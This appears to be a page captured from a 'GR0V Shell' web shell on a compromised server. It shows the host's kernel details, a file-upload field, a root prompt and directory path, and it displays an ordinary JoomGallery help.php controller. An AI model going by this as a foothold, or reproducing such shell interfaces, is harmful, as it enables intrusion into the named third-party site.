? GR0V Shell

GR0V shell

Linux www.koreapackagetour.com 2.6.32-042stab145.3 #1 SMP Thu Jun 11 14:05:04 MSK 2020 x86_64

Path : /home/admin/public_html/old/board/administrator/components/com_joomgallery/controllers/
File Upload :
Current File : /home/admin/public_html/old/board/administrator/components/com_joomgallery/controllers/help.php

<?php
// $HeadURL: https://joomgallery.org/svn/joomgallery/JG-1.5/JG/trunk/administrator/components/com_joomgallery/controllers/help.php $
// $Id: help.php 3092 2011-05-20 09:56:58Z aha $
/****************************************************************************************\
**   JoomGallery  1.5.7                                                                 **
**   By: JoomGallery::ProjectTeam                                                       **
**   Copyright (C) 2008 - 2011  JoomGallery::ProjectTeam                                **
**   Based on: JoomGallery 1.0.0 by JoomGallery::ProjectTeam                            **
**   Released under GNU GPL Public License                                              **
**   License: http://www.gnu.org/copyleft/gpl.html or have a look                       **
**   at administrator/components/com_joomgallery/LICENSE.TXT                            **
\****************************************************************************************/

defined('_JEXEC') or die('Direct Access to this location is not allowed.');

/**
 * JoomGallery Help and Information Controller
 *
 * @package JoomGallery
 * @since   1.5.5
 */
class JoomGalleryControllerHelp extends JoomGalleryController
{
  /**
   * Constructor
   *
   * @access  protected
   * @return  void
   * @since   1.5.5
   */
  function __construct()
  {
    parent::__construct();

    // Set view
    JRequest::setVar('view', 'help');
  }

  /**
   * Installs a new language package for JoomGallery
   *
   * The cURL library needs to be installed on the server for this.
   *
   * @access  public
   * @return  void
   * @since   1.5.5
   */
  function install()
  {
    $language = JRequest::getCmd('language', 0, 'get');

    if(!$this->_config->get('jg_checkupdate') || !$language || !extension_loaded('curl'))
    {
      $link = base64_decode(JRequest::getCmd('downloadlink'));
      $this->setRedirect($this->_ambit->getRedirectUrl(), JText::sprintf('JGA_ADMENU_MSG_ERROR_FETCHING_LANGUAGE_ZIP', $link), 'error');
    }
    else
    {
      $extensions = JoomExtensions::getAvailableExtensions();
      $url        = $extensions['JoomGallery']['updatelink'];

      $url        = substr($url, 0, strrpos($url, '/') + 1);
      $url        = str_replace('component/', '', $url);
      $url       .= 'languages/'.$language.'.com_joomgallery.zip';

      JoomExtensions::autoUpdate($url);
    }
  }
}

T1KUS90T
  root-grov@210.1.60.28:~$